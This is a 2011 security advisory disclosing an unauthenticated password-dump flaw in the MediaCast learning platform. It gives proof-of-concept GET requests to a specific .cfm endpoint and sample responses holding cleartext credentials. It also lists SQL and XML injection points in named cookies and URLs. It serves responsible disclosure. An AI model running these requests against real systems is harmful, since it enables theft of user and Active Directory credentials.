MediaCast Password Dump Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Packetninjas L.L.C -= Security Advisory =- Advisory: MediaCast Password Dump Vulnerability Release Date: 04/25/2011 Author: Daniel Clemens [daniel.clemens[at]] Application: MediaCast <= 8 (By Inventive, Inc) - Description: Vulnerabilities exist within the MediaCast application have been discovered that allow an unauthenticated user to force the application to return critical values (Username and Password Information) to the end user within verbose error messages. By sending a GET request to /authenticate_ad_setup_finished.cfm?UserID=<ID>&ClearSession=1 ( or /authenticate_ad_setup_finished.cfm?UserID=<ID> ) usernames and passwords of previously cached Active Directory credentials would be displayed as well as specific application level user name and password information (which at times could differ from AD credentials if the credentials have been updated within Active Directory and the user hasn't logged into the web application with new credentials). The impact of this vulnerability is that an attacker has the ability to enumerate sequential usernames as well as the clear text passwords associated with users within the application and Active Directory Domain. Further review of the root cause of this vulnerability was not performed during the analysis of this vulnerability since these issues were discovered during a remote penetration test of a network in contrast to a dedicated application review. Besides obvious correlation between verbose error message output and incorrect or non-existant exception handlers, it appears that this vulnerability exists due because the following conditions met: * Incorrect Session Handling and Implementation (on /authenticate_ad_setup_finished.cfm) * Incorrect Logic implementation * Clear Text Storage of password information * Active ldap integration with existing Active Directory Domain * Possibly a problem with the cold fusion dll that is aiding in the AD integration.... Risk: Critical Vendor Status: Patch Available Misc Notes: About MediaCast: "MediaCAST combines a Web-enabled learning management system with the tools to create, manage, and deliver live and on-demand IP multimedia anytime, anywhere. It is feature-rich, easy-to-use and efficient platform for creating and managing multimedia content and delivering online learning programs" Proof of Concept: Sequential GET Request: /authenticate_ad_setup_finished.cfm?UserID=<ID>&ClearSession=1 /authenticate_ad_setup_finished.cfm?UserID=<ID> Request: /authenticate_ad_setup_finished.cfm?UserID=<ID>&ClearSession=1 Response: Programs,Courses,Sections,Resources IP_Address x.x.x.x IsAdmin 0 IsGeneric 0 IsInstructor 1 IsManager 0 IsTrainingManager 0 OrganizationID 20 Password mycrazycleartextpassword! SetTopMode 0 SystemID 20 SystemType MediaCAST UploadMethod 1 UserID 31337 Username craig.mckenna VersionNumber 8 WebCT 0 cfid 490595 cftoken 4CA9DA0E-956B-4A61-A6F3DB4FFCC98BDA email [null] emailAddress [null] sessionid INVENTIVE_490595_4CA9DA0E-956B-4A61-A6F3DB4FFCC98BDA urltoken CFID=490595&CFTOKEN=4CA9DA0E-956B-4A61-A6F3DB4FFCC98BD Request: GET /authenticate_ad_setup_finished.cfm?UserID=<ID> Example Response: <td class='cfdump_td_query'>1</td> <td class='cfdump_td_value'>1069</td> <td class='cfdump_td_value'>abc</td> <td class='cfdump_td_value'>abcpass123</td> <td class='cfdump_td_value'>2009-12-07 09:12:30.000</td> <td class='cfdump_td_value'>[null]</td> <td class='cfdump_td_value'>[null]</td> <td class='cfdump_td_value'>1</td> <td class='cfdump_td_value'>[null]</td> <td class='cfdump_td_value'>[null]</td> <td class='cfdump_td_value'>0</td> <td class='cfdump_td_value'>company name</td> <td class='cfdump_td_value'>[empty string]</td> Disclosure Timeline: July 21, 2010 - Initial Contact with client using MediaCAST which enabled remote root of network during remote penetration test. August 11, 2010 - Email contact as well as phone calls placed to vendor August x, 2010 - Multiple calls to developers, support etc. August 24, 2010 - Vendor Response "You are correct that the system was displaying verbose error messages that contained information that could be used in a nefarious way. I have turned off the display of this extended debugging information. I have also addressed the issue with the /authenticate_ad_setup_finished.cfm URL such that it traps the problematic condition and redirects the user to the login page." Recommendation: - Patch to the most current version of MediaCast, or patch current MediaCast application. CVE Information: CVE-2010-0216 Misc. Items that should be patched with patched deployed by MediaCast: 1) Default Blue Dragon Administrative Interface exposed to the Internet in default installations. This should really be bound to localhost:10000 - Misc xss vulns were present in this piece of software. 2) XML Injection - /inventivex/mangetraining/ CP_RIGHTSOURCE , bdclient_Inventive Cookie 3) SQL Injection through /authenticate_ad_setup_finished.cfm 4) SQL Injection MediaCast SQL Injection /inventivex/managetraining [ CP_ENLARGESTYLE cookie ] injection 5) Mediacast Application Information Leakage URI: /inventivex/isptools/release/metadata/globalIncludeFolders.txt -- snip -- globalExcludeFolders.txt Public\inventivex\isptools\release\archive\* Public\inventivex\isptools\release\metadata\* Public\*.zip Public\Copy of* Public\Backup of* Public\rsync\rsync_log\*.txt Public\ Public\mysql_odbc.msi -- snip -- | Daniel Uriah Clemens | Packetninjas L.L.C | | | c. 205.567.6850 | | o. 866.267.8851 "Moments of sorrow are moments of sobriety" -----BEGIN PGP SIGNATURE----- iD8DBQFNtE3blZy1vkUrR4MRAmTDAJ4gUgUpOen7gc50eQxl1/pG9QHi1QCdFixs adarnuyShSYjBWVw2SlmbRE= =Ip9H -----END PGP SIGNATURE-----


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